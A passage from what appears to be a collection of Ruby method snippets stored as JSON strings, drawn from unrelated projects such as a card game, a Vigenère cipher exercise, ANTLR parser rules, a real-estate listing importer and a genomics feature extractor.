a :\" + a.to_s\n\t\t\t\ttemp = (@vet_temp[ciclo][no+1] * (@delta_tempo)) / (calcula_tal('carga','p',@vet_temp[ciclo][no - 1],@vet_temp[ciclo][no],@vet_temp[ciclo][no + 1]))\n\t\t\tend\n\t\tend\n\t\treturn temp\n\tend",
"def imc \n\t\t@peso/(@talla*@talla)\n\tend",
"def show_smazzata_end(best_pl_points )\r\n @log.debug(\"scopetta smazzata end msgbox\")\r\n #@msgbox_smazzataend = SmazzataInfoMbox.new(\"Smazzata finita\", \r\n # 200,50, 400,350, @font_text_curr[:medium])\r\n @msgbox_smazzataend.SetShortcutsScopettta\r\n \r\n points_for_msg = []\r\n names_arr = []\r\n best_pl_points.each do |pp1_arr|\r\n name = pp1_arr[0]\r\n pp1 = pp1_arr[1]\r\n points_pl = { :tot => pp1[:tot], :carte => pp1[:carte], :scope => pp1[:scopa], \r\n :settedidenari => pp1[:setbel], :napoli => pp1[:napola], \r\n :denari => pp1[:denari],\r\n :primiera =>pp1[:primiera] \r\n }\r\n points_for_msg << points_pl\r\n names_arr << name\r\n end\r\n \r\n @msgbox_smazzataend.points[:p1] = points_for_msg[0]\r\n @msgbox_smazzataend.points[:p2] = points_for_msg[1]\r\n @msgbox_smazzataend.name_p1 = names_arr[0]\r\n @msgbox_smazzataend.name_p2 = names_arr[1]\r\n \r\n @msgbox_smazzataend.set_visible(true)\r\n end",
"def verificaesonitre (primo, secondo, terzo)\n\tesonicomuni=0\n\t#se il secondo e il terzo includono lo stesso esone lo conto come comune\n\tprimo.each do |v|\n\t\tif secondo.include?(v) then\n\t\t\tif terzo.include?(v) then \n\t\t\t\tesonicomuni=esonicomuni+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\tprimosecondo=0\n\tprimo.each do |v|\n\t\tif secondo.include?(v) then\n\t\t\tif terzo.include?(v)==false then \n\t\t\t\tprimosecondo=primosecondo+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\tsecondoterzo=0\n\tsecondo.each do |v|\n\t\tif terzo.include?(v) then\n\t\t\tif primo.include?(v)==false then \n\t\t\t\tsecondoterzo=secondoterzo+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\tprimoterzo=0\n\tprimo.each do |v|\n\t\tif terzo.include?(v) then\n\t\t\tif secondo.include?(v)==false then \n\t\t\t\tprimoterzo=primoterzo+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\t#il numero di esoni totali è così calcolato\n\tesoni=esonicomuni+primosecondo+secondoterzo+primoterzo+(primo.length-esonicomuni-primosecondo-primoterzo)+(secondo.length-esonicomuni-primosecondo-secondoterzo)+(terzo.length-secondoterzo-esonicomuni-primoterzo)\n\treturn esoni\nend",
"def get_end_p()\n @end_p = []\n frame_start\n begin\n Module::const_get 'RecursiveBacktracking' # ak je symbol dostupny, predpoklada ze sa jedna o generaciu bludiska\n # pomocou recursive backtracking algoritmu a nacita viac cielov\n label(:na) do\n puts \"Zadaj pocet koncovich bodov:\"\n number = gets.to_i\n if number <= 0\n puts \"Záporný počet cielových bodov nieje povolený, musí byť aspoň jeden. Skús znova.\\n\"\n\n # znovu nacitanie vstupu\n goto :na\n end\n end\n for i in 1..number\n label(:ea) do\n\t puts \"Zadaj #{i}. koncovy bod: X(0-#{@width-1}) Y(0-#{@height-1})\"\n\t begin\n @end_p << convert_s_array_to_i_array(gets.split(\" \"))\n raise(ArgumentError) if @end_p[i][0] < 0 or @end_p[i][0] >= @width or @end_p[i][1] < 0 or @end_p[i][1] >= @height\n rescue ArgumentError\n puts \"Chybný vstup. Skús znova.\\n\"\n\n # znovu nacitanie vstupu\n goto :ea\n end\n end\n end\n rescue NameError\n label(:a) do\n puts \"Zadaj koncovy bod: X(0-#{@width-1}) Y(0-#{@height-1})\"\n\t begin\n @end_p << convert_s_array_to_i_array(gets.split(\" \"))\n raise(ArgumentError) if @end_p[0][0] < 0 or @end_p[0][0] >= @width or @end_p[0][1] < 0 or @end_p[0][1] >= @height\n rescue ArgumentError\n puts \"Chybný vstup. Skús znova.\\n\"\n\n # znovu nacitanie vstupu\n goto :a\n end\n end\n end\n frame_end\n end",
"def titulo_guia\n titulo = []\n\n t = Especie.find(params[:especie_id])\n a = t.adicional\n\n tipo_region = params[:tipo_region] == \"anp\" ? \"ANP \" : \"Municipio de \"\n \n if a.nombre_comun_principal.present?\n titulo[0] = \"Guía de #{a.nombre_comun_principal}\"\n else\n titulo[0] = \"Guía de #{t.nombre_cientifico}\"\n end\n\n titulo[1] = tipo_region + params[:nombre_region]\n titulo\n end",
"def cifra_vigenere(llave)\n cifrado = \"\"\n longitud = @texto.length\n 0.upto(longitud-1) do |j|\n i = j % (llave.size)\n alfabeto_ver = corrimiento(llave[i])\n car_cifrar = \"\" << @texto[j]\n posicion = MINUSCULAS.index(car_cifrar)\n a = alfabeto_ver[posicion]\n cifrado.concat(a)\n end\n @manejador.guardar_archivo(\"#{VIG_EN}\", cifrado)\n puts cifrado\n end",
"def suivre; end",
"def planilla\n move_down(@@interlineado)\n # parte 1\n indent(@@margin) do\n table_info = [\n [ {image: \"#{Rails.root}/public/Barcodes/Code128B_#{@solicitud.numero_planilla}.png\"},\n {content: \"\\nNúmero de Planilla: #{sprintf '%013d', @solicitud.numero_planilla }\"}]\n ]\n width_columns = [260, 260]\n draw_table_two_columns(table_info, width_columns)\n end\n # parte 2\n indent(@@margin) do\n table_info = [\n ['Datos del Solicitante']\n ]\n width_columns = [520]\n\n # Aplica el formato de la tabla creada anteriormente\n draw_table_titulos_columns(table_info, width_columns)\n end\n indent(@@margin) do\n table_info = [\n [ {content:\"Nombre y Apellido: #{@usuario_sput.nombre + ' ' + @usuario_sput.apellido}\", colspan: 2},\n {content:\"Identificación: #{@usuario_sput.nacionalidad + ' ' + @usuario_sput.numero_doc}\",\n colspan: 2}],\n [{content:\"Teléfonos: #{telefono @usuario_sput.telefono_local}\", colspan: 2},{content:\"Correo Electrónico: #{@usuario_sput.session_user.email} \", colspan: 2}],\n [{ content:\"Dirección: #{@representante_legal.direccion}\", colspan: 4}]\n ]\n width_columns = [130, 130, 130, 130]\n\n # Aplica el formato de la tabla creada anteriormente\n draw_table_four_columns(table_info, width_columns)\n end\n # parte 3\n indent(@@margin) do\n table_info = [\n ['Datos de la Escuela de Transporte']\n ]\n width_columns = [520]\n\n # Aplica el formato de la tabla creada anteriormente\n draw_table_titulos_columns(table_info, width_columns)\n end\n indent(@@margin) do\n table_info = [\n [ {content:\"Nombre: #{@escuela_transporte.razonSocial}\", colspan: 2},\n {content:\"Nombre Comercial: #{@escuela_transporte.razonSocial}\", colspan: 2}],\n [ {content:\"Tipo de Escuela: #{@escuela_transporte.tipo_escuela.nombre} \", colspan: 2},\n {content:\"Rif: #{@escuela_transporte.tipo_rif+@escuela_transporte.rif.to_s+ @escuela_transporte.digito_rif.to_s} \", colspan: 2}],\n [{content:\"Teléfono: #{telefono @escuela_transporte.telefono} \", colspan: 2},\n {content:\"Teléfono Móvil: #{telefono @escuela_transporte.movil}\", colspan: 2}],\n [{content:\"Email: #{@escuela_transporte.email} \", colspan: 2},\n {content:\"Dirección Web: #{@escuela_transporte.url}\", colspan: 2}],\n\n ]\n width_columns = [130, 130, 130, 130]\n\n # Aplica el formato de la tabla creada anteriormente\n draw_table_four_columns(table_info, width_columns)\n end\n\n indent(@@margin) do\n table_info = [\n ['Dirección Fiscal']\n ]\n width_columns = [520]\n\n # Aplica el formato de la tabla creada anteriormente\n draw_table_titulos_columns(table_info, width_columns)\n end\n\n indent(@@margin) do\n table_info = [\n [{content:\"Estado: #{@escuela_transporte.ciudad.estado.nombre}\", colspan: 1, :size => 6},\n {content:\"Ciudad: #{@escuela_transporte.ciudad.nombre} \", colspan: 1, :size => 6},\n {content:\"Municipio: #{@escuela_transporte.parroquia.municipio.nombre}\", colspan: 1, :size => 6},\n {content:\"Parroquia: #{@escuela_transporte.parroquia.nombre}\", colspan: 1, :size => 6}],\n [{content:\"Sector/Urbanización: #{@escuela_transporte.direccion}\", colspan: 4}]\n\n ]\n width_columns = [130, 130, 130, 130]\n\n # Aplica el formato de la tabla creada anteriormente\n draw_table_four_columns(table_info, width_columns)\n\n end\n # parte 4\n\n indent(@@margin) do\n table_info = [\n ['Trámites']\n ]\n width_columns = [520]\n draw_table_titulos_columns(table_info, width_columns)\n end\n indent(@@margin) do\n table_info = [\n [ {content: \"Trámite: Autorización para la construcción y adecuación \", colspan: 2, :size => 6},\n {content: \"Número de Trámite: #{sprintf '%012d',@solicitud.id}\", colspan: 2, :size => 6}]\n ]\n width_columns = [130,130,130,130]\n draw_table_four_columns(table_info, width_columns)\n end\n\n # parte 5\n flota(@solicitud.vehiculo_pres)\n\n # parte 6\n start_new_page if cursor <= 200\n indent(@@margin) do\n table_info = [\n [ 'Funcionario Receptor', 'Solicitante']\n ]\n width_columns = [260, 260]\n\n # Aplica el formato de la tabla creada anteriormente\n draw_table_pie_columns(table_info, width_columns)\n pie_planilla\n end\n\n end",
"def jeuTermine\n\t\tlancementAventure(@tailleGrille+1)\n\tend",
"def metodo_biseccion\n i = 0\n c_ant = 0\n c_act = 0\n\n # Valor inicial de A.\n factor = get_signo(@ecuacion.last.to_i) * -1\n a = ((@ecuacion.last.to_i.abs / @ecuacion.first.to_i.abs) ** (1.0/@grado)).to_i * factor;\n b = obtiene_valor_b(a)\n resultado = false\n\n loop do\n i += 1\n c_ant = c_act\n c_act = (a + b)/2.0\n\n if evaluar_funcion(c_act) >= 0\n a = c_act\n else\n b = c_act\n end\n\n if (c_act - c_ant).abs <= 0.001\n resultado = [c_ant, c_act, i]\n end\n\n break if (c_act - c_ant).abs <= 0.001\n end\n return resultado\n end",
"def irvitaminasp\n vag=(valorvityminp * 100) / 50\n vag.round(2)\n end",
"def run_program(intcode_program, noun, verb)\n program = intcode_program.clone.map(&:clone)\n program[1] = noun\n program[2] = verb \n program.each_slice(4) do |opcode, a, b, res|\n # puts \"#{opcode}, #{a}, #{b}, #{res}\"\n if opcode == 1\n program[res] = program[a] + program[b]\n elsif opcode == 2\n program[res] = program[a] * program[b]\n elsif opcode == 99\n break\n end\n end\n output = program[0]\n puts \"#{noun}, #{verb}, #{output}\"\n output\nend",
"def secondo\n self[1]\n end",
"def des_cifra_vigenere(llave)\n claro = \"\"\n longitud = @texto.length\n @texto.chomp!\n 0.upto(longitud - 2) do |i|\n j = i % (llave.size)\n alfabeto_ver = corrimiento(llave[j])\n car_cifrado = \"\" << @texto[i]\n posicion = alfabeto_ver.index(car_cifrado)\n b = MINUSCULAS[posicion]\n claro.concat(b)\n end\n @manejador.guardar_archivo(\"#{VIG_DES}\", claro)\n puts claro\n end",
"def sub_b\n end",
"def position_array_personne_epenser(journaliste)\n \tputs \"Reponse :\"\n \tputs \"@epenser est sur la ligne #{journaliste.index(\"@epenser\")}\"\n \tputs\nend",
"def prosby_o_subskrypcje\n\tsubskrypcje=[]\n\twhile(!@prosba_subskrypcja.empty?)\n\t\tsub=@prosba_subskrypcja.pop(true) rescue nil\n\t\tbreak if sub.nil?\n\t\tsubskrypcje << sub\n\t\tyield sub if block_given?\n\tend\n\tsubskrypcje\n end",
"def SAC12=(arg)",
"def aide2()\n indice = IndiceMoyen.create(@map)\n res = indice.envoyerIndice.indice.split(\"-\")\n\n x=res[0].to_i\n y=res[1].to_i\n if res[2]==\"0\"\n @map.putAt!(x,y,Case.create(2))\n changeImage(@buttonTab[x][y],\"../images/cases/croix.png\")\n else\n @map.putAt!(x,y,Case.create(1))\n @map.accessAt(x,y).color=1;\n changeImage(@buttonTab[x][y],\"../images/cases/noir.png\")\n end\n @timePress[x][y]+=1\n @timer.add(60)\n if @map.compare\n victoire()\n end\n end",
"def neginv(b) return \"@SP\\nA=M-1\\nM=\"+b+\"M\\n\" end",
"def import_bien b\n\t\t# Good location\n\t\tgood_address \t\t\t= {}\n\t\tloc \t\t\t\t\t= BienEmplacement.new\n\t\tloc.pays \t\t\t\t= \"France\"\n\t\tloc.code_postal \t\t= b[4]\t\n\t\tloc.ville \t\t\t\t= b[5]\n\n\t\ttransaction_type \t\t= BienTransaction.where(:nom => b[2].up_first).first\n\n\t\tref \t\t\t\t\t= b[1].to_s.downcase\n\n\t\tnb \t\t\t\t\t\t= Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\n\t\tnb \t\t\t\t\t\t= Bien.new if nb.nil?\n\n\t\tcat \t\t\t\t\t= BienType.find_or_create b[3].up_first\n\t\tdesc \t\t\t\t\t= b[20]\n\n\t\tnb.is_accueil \t\t\t= false\n\t\tnb.passerelle \t\t\t= @passerelle\n\t\tnb.reference \t\t\t= ref\n\t\tnb.bien_type \t\t\t= cat\n\t\tnb.bien_transaction \t= transaction_type\n\t\tnb.bien_emplacement \t= loc\n\t\tnb.nb_piece \t\t\t= b[17]\n\t\tnb.nb_chambre \t\t\t= b[18]\n\t\tnb.surface \t\t\t\t= b[15]\n\t\tnb.titre \t\t\t\t= b[19]\n\t\t\n\t\tif(!(transaction_type.nom =~ /Location/) || (b[12] && (b[12].upcase == \"OUI\")))\n\t\t\tnb.prix_charges_comprises \t= b[10].to_i\n\t\telse\n\t\t\tnb.prix_hors_charges \t\t= b[10].to_i\n\t\t\tnb.prix_charges_comprises \t= b[10].to_i + (b[22] != nil ? b[22].to_i : 0)\n\t\tend\n\t\tnb.prix \t\t\t\t= nb.prix_charges_comprises\n\t\tnb.honoraires_agence \t= b[14]\n\n\t\tnb.description \t\t\t= desc\n\n\t\tnb.valeur_dpe \t\t\t= b[175]\n\t\tnb.classe_dpe \t\t\t= b[176]\n\t\tnb.valeur_ges \t\t\t= b[177]\n\t\tnb.class_ges \t\t\t= b[178]\n\n\t\tnb.statut = 'new'\n\t\tnb.save!\n\n\t\t# Poliris pictures url/names are stored from entry 85 to 93 (1 based) - picture names are stored from 94 ot 102\n\t\tp_url_indexes = []\n\t\t9.times{ |i| \n\t\t\tp_url_indexes.push (84+i) if (b[84+i].kind_of? String) && !b[84+i].empty?\n\t\t}\n\t\tif !p_url_indexes.empty?\n\t\t\t# un-attach old\n\t\t\tnb.bien_photos.each{ |photo|\n\t\t\t\tphoto.bien = nil\n\t\t\t\tphoto.save!\n\t\t\t}\n\n\t\t\tnumber = 0\n\t\t\tp_url_indexes.each { |p| \n\t\t\t\tLogger.send(\"warn\", \"import_local_media(#{b[p].to_s}, #{(number)}, #{b[p+9].to_s})\")\n\t\t\t\timport_local_media(b[p].to_s, (number+=1), nb, b[p+9].to_s) \n\t\t\t}\n\n\t\t\tnb.save!\n\t\tend\n\n\t\treturn\n\tend",
"def verdi; end",
"def asignacion_especial\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 12 )\n\n\n return_value = AsignacionEspecialReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __K_ASIGNACION59__ = nil\n __LPAR60__ = nil\n __Identificador61__ = nil\n __COMA63__ = nil\n __RPAR65__ = nil\n __EOL66__ = nil\n var_local62 = nil\n valor64 = nil\n\n\n tree_for_K_ASIGNACION59 = nil\n tree_for_LPAR60 = nil\n tree_for_Identificador61 = nil\n tree_for_COMA63 = nil\n tree_for_RPAR65 = nil\n tree_for_EOL66 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 80:4: K_ASIGNACION LPAR ( Identificador | var_local ) COMA valor RPAR EOL\n __K_ASIGNACION59__ = match( K_ASIGNACION, TOKENS_FOLLOWING_K_ASIGNACION_IN_asignacion_especial_325 )\n if @state.backtracking == 0\n tree_for_K_ASIGNACION59 = @adaptor.create_with_payload( __K_ASIGNACION59__ )\n @adaptor.add_child( root_0, tree_for_K_ASIGNACION59 )\n\n end\n\n __LPAR60__ = match( LPAR, TOKENS_FOLLOWING_LPAR_IN_asignacion_especial_327 )\n if @state.backtracking == 0\n tree_for_LPAR60 = @adaptor.create_with_payload( __LPAR60__ )\n @adaptor.add_child( root_0, tree_for_LPAR60 )\n\n end\n\n # at line 80:22: ( Identificador | var_local )\n alt_8 = 2\n look_8_0 = @input.peek( 1 )\n\n if ( look_8_0 == Identificador )\n alt_8 = 1\n elsif ( look_8_0 == DOUBLEDOT )\n alt_8 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 8, 0 )\n\n end\n case alt_8\n when 1\n # at line 80:23: Identificador\n __Identificador61__ = match( Identificador, TOKENS_FOLLOWING_Identificador_IN_asignacion_especial_330 )\n if @state.backtracking == 0\n tree_for_Identificador61 = @adaptor.create_with_payload( __Identificador61__ )\n @adaptor.add_child( root_0, tree_for_Identificador61 )\n\n end\n\n\n when 2\n # at line 80:37: var_local\n @state.following.push( TOKENS_FOLLOWING_var_local_IN_asignacion_especial_332 )\n var_local62 = var_local\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, var_local62.tree )\n end\n\n\n end\n __COMA63__ = match( COMA, TOKENS_FOLLOWING_COMA_IN_asignacion_especial_335 )\n if @state.backtracking == 0\n tree_for_COMA63 = @adaptor.create_with_payload( __COMA63__ )\n @adaptor.add_child( root_0, tree_for_COMA63 )\n\n end\n\n @state.following.push( TOKENS_FOLLOWING_valor_IN_asignacion_especial_337 )\n valor64 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor64.tree )\n end\n\n __RPAR65__ = match( RPAR, TOKENS_FOLLOWING_RPAR_IN_asignacion_especial_339 )\n if @state.backtracking == 0\n tree_for_RPAR65 = @adaptor.create_with_payload( __RPAR65__ )\n @adaptor.add_child( root_0, tree_for_RPAR65 )\n\n end\n\n __EOL66__ = match( EOL, TOKENS_FOLLOWING_EOL_IN_asignacion_especial_341 )\n if @state.backtracking == 0\n tree_for_EOL66 = @adaptor.create_with_payload( __EOL66__ )\n @adaptor.add_child( root_0, tree_for_EOL66 )\n\n end\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n if @state.backtracking == 0\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 12 )\n\n\n end\n\n return return_value\n end",
"def get_fibra\n @_100=((@fibra*100)/@peso)\n #@ir_100=(@_100/90)*100\n @porcion=((@fibra*@gramos_porciones)/@peso)\n #@ir_porcion=(@porcion/90)*100\n [ @fibra , @_100 , 0 , @porcion , 0 ]\n end",
"def index(p0) end",
"def index(p0) end",
"def import_bien b\r\n\t\tLogger.send(\"warn\",b[0])\r\n\t\tLogger.send(\"warn\",\"code postal = \"+b[4])\r\n\t\tLogger.send(\"warn\",\"ville = \"+b[5])\r\n\t\tLogger.send(\"warn\",\"price = \"+b[10])\r\n\r\n\t\t# Good location\r\n\t\tgood_address = {}\r\n\t\tloc \t\t\t= BienEmplacement.new\r\n\t\tloc.pays \t\t= \"France\"\r\n\t\tloc.code_postal = b[4]\t\r\n\t\tloc.ville \t\t= b[5]\r\n\r\n\t\ttransaction_type = BienTransaction.where(:nom => b[2].up_first).first\r\n\r\n\t\tref \t\t\t= b[1].to_s.downcase\r\n\r\n\t\tnb \t\t\t\t= Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\r\n\t\tnb \t\t\t\t= Bien.new if nb.nil?\r\n\r\n\t\tcat \t\t\t= BienType.find_or_create b[3].up_first\r\n\t\tdesc \t\t\t= b[20]\r\n\r\n\t\tnb.is_accueil \t= false\r\n\t\tnb.passerelle \t= @passerelle\r\n\t\tnb.reference \t= ref\r\n\t\tnb.bien_type \t= cat\r\n\t\tnb.bien_transaction = transaction_type\r\n\t\tnb.bien_emplacement = loc\r\n\t\tnb.nb_piece \t= b[17]\r\n\t\tnb.nb_chambre \t= b[18]\r\n\t\tnb.surface \t\t= b[15]\r\n\t\tnb.titre \t\t= b[19]\r\n\t\t\r\n\t\tif(b[12] && (b[12].upcase == \"OUI\"))\r\n\t\t\tnb.prix_charges_comprises \t= b[10].to_i\r\n\t\telse\r\n\t\t\tnb.prix_hors_charges \t\t= b[10].to_i\r\n\t\t\tnb.prix_charges_comprises \t= b[10].to_i + (b[22] != nil ? b[22].to_i : 0)\r\n\t\tend\r\n\t\tnb.prix \t\t\t\t= nb.prix_charges_comprises\r\n\t\tnb.honoraires_agence \t= b[14]\r\n\r\n\t\tnb.description \t= desc\r\n\r\n\t\tnb.valeur_dpe \t= b[175]\r\n\t\tnb.classe_dpe \t= b[176]\r\n\t\tnb.valeur_ges \t= b[177]\r\n\t\tnb.class_ges \t= b[178]\r\n\r\n\t\tnb.statut = 'new'\r\n\t\tnb.save!\r\n\r\n\t\t# Poliris pictures url/names are stored from entry 85 to 93 (1 based) - picture names are stored from 94 ot 102\r\n\t\tp_url_indexes = []\r\n\t\t9.times{ |i| \r\n\t\t\tp_url_indexes.push (84+i) if (b[84+i].kind_of? String) && !b[84+i].empty?\r\n\t\t}\r\n\t\tif !p_url_indexes.empty?\r\n\t\t\t# un-attach old\r\n\t\t\tnb.bien_photos.each{ |photo|\r\n\t\t\t\tphoto.bien = nil\r\n\t\t\t\tphoto.save!\r\n\t\t\t}\r\n\r\n\t\t\tnumber = 0\r\n\t\t\tp_url_indexes.map { |p| import_remote_media(b[p],(number+=1),nb,b[p+9]) }\r\n\r\n\t\t\tnb.save!\r\n\t\tend\r\n\r\n\t\treturn\r\n\tend",
"def busqueda_array\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n\n return_value = BusquedaArrayReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __Identificador189__ = nil\n __K_WHERE191__ = nil\n __Identificador192__ = nil\n __K_TIPOBUSQUEDA194__ = nil\n __EOL196__ = nil\n var_local190 = nil\n var_local193 = nil\n valor195 = nil\n\n\n tree_for_Identificador189 = nil\n tree_for_K_WHERE191 = nil\n tree_for_Identificador192 = nil\n tree_for_K_TIPOBUSQUEDA194 = nil\n tree_for_EOL196 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 180:4: ( Identificador | var_local ) K_WHERE ( Identificador | var_local ) K_TIPOBUSQUEDA valor EOL\n # at line 180:4: ( Identificador | var_local )\n alt_26 = 2\n look_26_0 = @input.peek( 1 )\n\n if ( look_26_0 == Identificador )\n alt_26 = 1\n elsif ( look_26_0 == DOUBLEDOT )\n alt_26 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 26, 0 )\n\n end\n case alt_26\n when 1\n # at line 180:5: Identificador\n __Identificador189__ = match( Identificador, TOKENS_FOLLOWING_Identificador_IN_busqueda_array_844 )\n if @state.backtracking == 0\n tree_for_Identificador189 = @adaptor.create_with_payload( __Identificador189__ )\n @adaptor.add_child( root_0, tree_for_Identificador189 )\n\n end\n\n\n when 2\n # at line 180:19: var_local\n @state.following.push( TOKENS_FOLLOWING_var_local_IN_busqueda_array_846 )\n var_local190 = var_local\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, var_local190.tree )\n end\n\n\n end\n __K_WHERE191__ = match( K_WHERE, TOKENS_FOLLOWING_K_WHERE_IN_busqueda_array_849 )\n if @state.backtracking == 0\n tree_for_K_WHERE191 = @adaptor.create_with_payload( __K_WHERE191__ )\n @adaptor.add_child( root_0, tree_for_K_WHERE191 )\n\n end\n\n # at line 180:38: ( Identificador | var_local )\n alt_27 = 2\n look_27_0 = @input.peek( 1 )\n\n if ( look_27_0 == Identificador )\n alt_27 = 1\n elsif ( look_27_0 == DOUBLEDOT )\n alt_27 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 27, 0 )\n\n end\n case alt_27\n when 1\n # at line 180:39: Identificador\n __Identificador192__ = match( Identificador, TOKENS_FOLLOWING_Identificador_IN_busqueda_array_852 )\n if @state.backtracking == 0\n tree_for_Identificador192 = @adaptor.create_with_payload( __Identificador192__ )\n @adaptor.add_child( root_0, tree_for_Identificador192 )\n\n end\n\n\n when 2\n # at line 180:53: var_local\n @state.following.push( TOKENS_FOLLOWING_var_local_IN_busqueda_array_854 )\n var_local193 = var_local\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, var_local193.tree )\n end\n\n\n end\n __K_TIPOBUSQUEDA194__ = match( K_TIPOBUSQUEDA, TOKENS_FOLLOWING_K_TIPOBUSQUEDA_IN_busqueda_array_857 )\n if @state.backtracking == 0\n tree_for_K_TIPOBUSQUEDA194 = @adaptor.create_with_payload( __K_TIPOBUSQUEDA194__ )\n @adaptor.add_child( root_0, tree_for_K_TIPOBUSQUEDA194 )\n\n end\n\n @state.following.push( TOKENS_FOLLOWING_valor_IN_busqueda_array_859 )\n valor195 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor195.tree )\n end\n\n __EOL196__ = match( EOL, TOKENS_FOLLOWING_EOL_IN_busqueda_array_861 )\n if @state.backtracking == 0\n tree_for_EOL196 = @adaptor.create_with_payload( __EOL196__ )\n @adaptor.add_child( root_0, tree_for_EOL196 )\n\n end\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n if @state.backtracking == 0\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n\n end\n\n return return_value\n end",
"def bilan\n raise \"Il faut lancer l'étude avec Etude::start avant de construire le bilan\" if @data.nil?\n @bilan ||= begin\n c = []\n # Largeur : 26 (sans les \"|\")\n titre = \"Exercices #{from_exercice} à #{to_exercice}\"\n gauche = ((26 - titre.length).to_f / 2).floor - 1\n droite = \" \" * (26 - (gauche + titre.length))\n gauche = \" \" * gauche\n entete = <<-TXT\n----------------------------\n|#{gauche}#{titre}#{droite}|\n----------------------------\n| Doigté | Nombre de fois |\n TXT\n c << entete.strip\n titre_section = <<-TXT\n----------------------------\n| Par quantité |\n----------------------------\n TXT\n c << titre_section.strip\n nombre_max = nil\n nombre_min = nil\n nb_courant = nil\n @data.sort_by{|c, e| e[:nombre]}.reverse.each do |combi, data_combi|\n nb_courant = data_combi[:nombre]\n nombre_max = nb_courant if nombre_max.nil?\n nb = (\" \" * 5) << nb_courant.to_s # 16\n nb << \" \" * (16 - nb.length) \n c << \"| #{combi} | #{nb}|\"\n end\n nombre_min = nb_courant\n \n titre_section = <<-TXT\n----------------------------\n| Par premier doigt |\n----------------------------\n TXT\n c << titre_section.strip\n @data.sort_by{|combi, e| combi[0..0]}.each do |combi, data_combi|\n nb = data_combi[:nombre]\n nb = \"#{nb} (max)\" if nb == nombre_max\n nb = \"#{nb} (min)\" if nb == nombre_min\n nb = (\" \" * 5) << nb.to_s\n nb << \" \" * (16 - nb.length) \n c << \"| #{combi} | #{nb}|\"\n end\n \n titre_section = <<-TXT\n----------------------------\n| Par second doigt |\n----------------------------\n TXT\n c << titre_section.strip\n @data.sort_by{|combi, e| combi[2..2]}.each do |combi, data_combi|\n nb = data_combi[:nombre]\n nb = \"#{nb} (max)\" if nb == nombre_max\n nb = \"#{nb} (min)\" if nb == nombre_min\n nb = (\" \" * 5) << nb.to_s # 16\n nb << \" \" * (16 - nb.length) \n c << \"| #{combi} | #{nb}|\"\n end\n c << \"-\" * 28\n c << \"\\n\"\n c.join(\"\\n\")\n end\n end",
"def getFtLocus\n locustag = ARGV[1]\n protId = \"\"\n @gbkObj.each_cds do |ft|\n ftH = ft.to_hash\n ftloc = ft.locations\n if ftH[\"locus_tag\"][0].eql? locustag\n gene = []\n product = []\n gene = ftH[\"gene\"] if !ftH[\"gene\"].nil?\n product = ftH[\"product\"] if !ftH[\"product\"].nil?\n protId = ftH[\"protein_id\"][0] if !ftH[\"protein_id\"].nil?\n locustag = ftH[\"locus_tag\"][0] if !ftH[\"locus_tag\"].nil?\n if ftloc[0].strand == -1\n location = \"c#{ftloc[0].from}..#{ftloc[0].to}\"\n else\n location = \"#{ftloc[0].from}..#{ftloc[0].to}\"\n end\n dna = getDna(ft,@gbkObj.to_biosequence)\n seqout = dna.output_fasta(\"#{@accession}|#{location}|#{protId}|#{locustag}|#{gene[0]}|#{product[0]}\",60)\n puts seqout\n end\n end\n end",
"def SAC04=(arg)",
"def harga(buah) # Dapat dilihat bahwa harga sebuah method dan buah sebagai parameter sebuah template pada variabel\n puts \"Mas buah #{buah} ini dijual?\"\nend",
"def vel\n @velocidad\n end",
"def pha; sparam(3); end",
"def zapis_vysledek(reseni, je_splnitelna) \n @reseni = reseni\n @vysledny_soucet_vah = vrat_soucet_vah(reseni)\n @je_splnitelna = je_splnitelna\n end",
